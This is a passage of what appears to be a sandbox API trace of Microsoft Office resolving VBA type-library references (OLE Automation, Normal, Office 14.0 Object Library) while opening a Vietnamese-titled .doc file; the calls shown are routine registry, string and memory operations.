wcscpy_s (in: _Destination=0x699c568, _SizeInWords=0x2f, _Source="C:\\Windows\\SysWOW64\\stdole2.tlb" | out: _Destination="C:\\Windows\\SysWOW64\\stdole2.tlb") returned 0x0 [0053.078] wcscpy_s (in: _Destination=0x699c5a6, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0053.078] IMalloc:Realloc (This=0x7feffc15380, pv=0x68cc4a0, cb=0x680) returned 0x69f8570 [0053.078] wcscpy_s (in: _Destination=0x69f8830, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0053.078] wcsncpy_s (in: _Destination=0x126580, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0053.078] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0053.078] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0x69a38d0 [0053.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x69a38d0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0053.079] IMalloc:Free (This=0x7feffc15380, pv=0x69a38d0) [0053.079] wcscpy_s (in: _Destination=0x68bd638, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0053.079] wcsncpy_s (in: _Destination=0x1265c0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0053.079] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0053.079] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0x69a38d0 [0053.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x69a38d0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0053.079] IMalloc:Free (This=0x7feffc15380, pv=0x69a38d0) [0053.079] wcsncpy_s (in: _Destination=0x126580, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0053.079] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0053.079] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b4770 [0053.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b4770, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0053.079] IMalloc:Free (This=0x7feffc15380, pv=0x69b4770) [0053.079] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0053.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x126860, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0053.079] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0053.079] strcpy_s (in: _Dst=0x126640, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0053.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126640, cbMultiByte=7, lpWideCharStr=0x126490, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0053.079] IUnknown:AddRef (This=0x677d9c0) returned 0x3 [0053.079] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.079] IUnknown:Release (This=0x677d9c0) returned 0x2 [0053.079] IUnknown:AddRef (This=0x677a9f0) returned 0x3 [0053.079] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.079] IUnknown:Release (This=0x677a9f0) returned 0x2 [0053.079] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x690fbd0 [0053.079] wcscpy_s (in: _Destination=0x699c508, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0053.080] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x125c40 | out: phkResult=0x125c40*=0x9f6) returned 0x0 [0053.080] RegOpenKeyW (in: hKey=0x9f6, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x125c38 | out: phkResult=0x125c38*=0xa06) returned 0x0 [0053.080] RegEnumKeyW (in: hKey=0xa06, dwIndex=0x0, lpName=0x125c68, cchName=0xa | out: lpName="1.0") returned 0x0 [0053.080] RegEnumKeyW (in: hKey=0xa06, dwIndex=0x1, lpName=0x125c68, cchName=0xa | out: lpName="2.0") returned 0x0 [0053.080] wcscpy_s (in: _Destination=0x125c50, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0053.080] RegOpenKeyW (in: hKey=0xa06, lpSubKey="2.0", phkResult=0x125cf8 | out: phkResult=0x125cf8*=0x9fa) returned 0x0 [0053.081] _ultoa_s (in: _Val=0x0, _DstBuf=0x125c70, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0053.081] RegOpenKeyA (in: hKey=0x9fa, lpSubKey="0", phkResult=0x125c60 | out: phkResult=0x125c60*=0xa0a) returned 0x0 [0053.081] RegOpenKeyW (in: hKey=0xa0a, lpSubKey="win64", phkResult=0x125c68 | out: phkResult=0x125c68*=0xa16) returned 0x0 [0053.081] RegCloseKey (hKey=0xa16) returned 0x0 [0053.081] RegCloseKey (hKey=0xa0a) returned 0x0 [0053.081] _ultow_s (in: _Value=0x0, _Buffer=0x125d00, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.081] RegOpenKeyW (in: hKey=0x9fa, lpSubKey="0", phkResult=0x125cd8 | out: phkResult=0x125cd8*=0xa0a) returned 0x0 [0053.082] RegQueryValueW (in: hKey=0xa0a, lpSubKey="win64", lpData=0x125d20, lpcbData=0x125cd4 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x125cd4) returned 0x0 [0053.082] wcscpy_s (in: _Destination=0x690fbd0, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0053.082] RegCloseKey (hKey=0xa0a) returned 0x0 [0053.082] RegCloseKey (hKey=0x9fa) returned 0x0 [0053.082] RegCloseKey (hKey=0xa06) returned 0x0 [0053.082] RegCloseKey (hKey=0x9f6) returned 0x0 [0053.083] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x126348*=0x0 | out: pptlib=0x126348*=0x677acc0) returned 0x0 [0053.083] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126148 | out: ppvObject=0x126148*=0x0) returned 0x80004002 [0053.083] ITypeLib:RemoteGetLibAttr (in: This=0x677acc0, ppTLibAttr=0x126140, pDummy=0x10 | out: ppTLibAttr=0x126140, pDummy=0x10) returned 0x0 [0053.083] ITypeLib:RemoteGetDocumentation (in: This=0x677acc0, index=-1, refPtrFlags=0x0, pbstrName=0x126138, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x699c566 | out: pbstrName=0x126138*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x699c566) returned 0x0 [0053.083] StringFromGUID2 (in: rguid=0x4233e20*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x126160, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0053.083] _ultow_s (in: _Value=0x2, _Buffer=0x1260aa, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0053.083] _ultow_s (in: _Value=0x0, _Buffer=0x1260ae, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.083] _ultow_s (in: _Value=0x0, _Buffer=0x1260b2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.083] wcscpy_s (in: _Destination=0x699c5e8, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0053.083] wcscpy_s (in: _Destination=0x699c5ee, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0053.083] wcscpy_s (in: _Destination=0x699c63a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0053.083] wcscpy_s (in: _Destination=0x699c648, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0053.083] wcscpy_s (in: _Destination=0x699c688, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0053.083] ITypeLib:LocalReleaseTLibAttr (This=0x677acc0) returned 0x0 [0053.084] wcscpy_s (in: _Destination=0x690fbd0, _SizeInWords=0x104, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0053.084] wcscpy_s (in: _Destination=0x69f88f0, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0053.084] IMalloc:Free (This=0x7feffc15380, pv=0x690fbd0) [0053.084] IUnknown:AddRef (This=0x677acc0) returned 0x4 [0053.084] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1263a8 | out: ppvObject=0x1263a8*=0x0) returned 0x80004002 [0053.084] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.084] IUnknown:Release (This=0x677acc0) returned 0x3 [0053.084] IMalloc:Alloc (This=0x7feffc15380, cb=0x24) returned 0x66dc430 [0053.084] IMalloc:Free (This=0x7feffc15380, pv=0x69c1940) [0053.084] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66dc7f0 [0053.084] IMalloc:Realloc (This=0x7feffc15380, pv=0x66dc7f0, cb=0x50) returned 0x69d4eb0 [0053.084] IMalloc:Free (This=0x7feffc15380, pv=0x66dc430) [0053.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x1267d0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.086] _stat64i32 (in: _FileName="Normal", _Stat=0x126978 | out: _Stat=0x126978) returned -1 [0053.087] wcscpy_s (in: _Destination=0x66dc7fe, _SizeInWords=0x7, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0053.087] wcscpy_s (in: _Destination=0x69f8858, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0053.087] wcsncpy_s (in: _Destination=0x126580, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.087] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x1264b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.087] IMalloc:Realloc (This=0x7feffc15380, pv=0x68bd2c0, cb=0x8c0) returned 0x69f8c00 [0053.087] wcscpy_s (in: _Destination=0x69f9068, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0053.087] wcsncpy_s (in: _Destination=0x1265c0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.087] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x1264f0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.087] wcsncpy_s (in: _Destination=0x126580, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0053.087] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0053.087] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b4810 [0053.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b4810, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0053.087] IMalloc:Free (This=0x7feffc15380, pv=0x69b4810) [0053.087] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0053.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x126860, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.087] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.087] strcpy_s (in: _Dst=0x126640, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0053.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126640, cbMultiByte=7, lpWideCharStr=0x126490, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.087] IUnknown:AddRef (This=0x677d9c0) returned 0x3 [0053.087] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Normal", lHashVal=0x10d8df, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.087] IUnknown:Release (This=0x677d9c0) returned 0x2 [0053.087] IUnknown:AddRef (This=0x677a9f0) returned 0x3 [0053.087] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="Normal", lHashVal=0x10d8df, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.088] IUnknown:Release (This=0x677a9f0) returned 0x2 [0053.088] IUnknown:AddRef (This=0x677acc0) returned 0x4 [0053.088] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="Normal", lHashVal=0x10d8df, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.088] IUnknown:Release (This=0x677acc0) returned 0x3 [0053.088] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x6766220 [0053.088] IMalloc:Free (This=0x7feffc15380, pv=0x69d4eb0) [0053.088] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66dc730 [0053.088] IMalloc:Realloc (This=0x7feffc15380, pv=0x66dc730, cb=0x5c) returned 0x699fa80 [0053.088] IMalloc:Free (This=0x7feffc15380, pv=0x6766220) [0053.088] IMalloc:Alloc (This=0x7feffc15380, cb=0x9a) returned 0x69a7470 [0053.088] IMalloc:Free (This=0x7feffc15380, pv=0x69a7470) [0053.088] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x126930 | out: pclsid=0x126930*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0 [0053.088] IMalloc:Alloc (This=0x7feffc15380, cb=0x8c) returned 0x69b4810 [0053.088] _ultow_s (in: _Value=0x2, _Buffer=0x1267ba, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0053.088] _ultow_s (in: _Value=0x8, _Buffer=0x1267be, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0053.088] _ultow_s (in: _Value=0x0, _Buffer=0x1267c2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x6924f08, _SizeInWords=0x9b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x6924f0e, _SizeInWords=0x98, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x6924f5a, _SizeInWords=0x72, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x6924f68, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x6924ff4, _SizeInWords=0x25, _Source="Microsoft Office 14.0 Object Library" | out: _Destination="Microsoft Office 14.0 Object Library") returned 0x0 [0053.089] IMalloc:Free (This=0x7feffc15380, pv=0x69b4810) [0053.089] wcsncpy_s (in: _Destination=0x4377948, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x43779a8, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x4377a32, _SizeInWords=0x26, _Source="#Microsoft Office 14.0 Object Library" | out: _Destination="#Microsoft Office 14.0 Object Library") returned 0x0 [0053.089] wcscpy_s (in: _Destination=0x69f89b0, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0053.089] wcsncpy_s (in: _Destination=0x126580, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0053.089] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0053.089] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0x684b1c0 [0053.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0x684b1c0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0053.089] IMalloc:Free (This=0x7feffc15380, pv=0x684b1c0) [0053.089] wcscpy_s (in: _Destination=0x69f90b0, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0053.089] wcsncpy_s (in: _Destination=0x1265c0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0053.089] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0053.089] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0x684b1c0 [0053.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0x684b1c0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0053.089] IMalloc:Free (This=0x7feffc15380, pv=0x684b1c0) [0053.090] wcsncpy_s (in: _Destination=0x126580, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0053.090] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0053.090] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b4810 [0053.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b4810, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0053.090] IMalloc:Free (This=0x7feffc15380, pv=0x69b4810) [0053.090] _wcsicmp 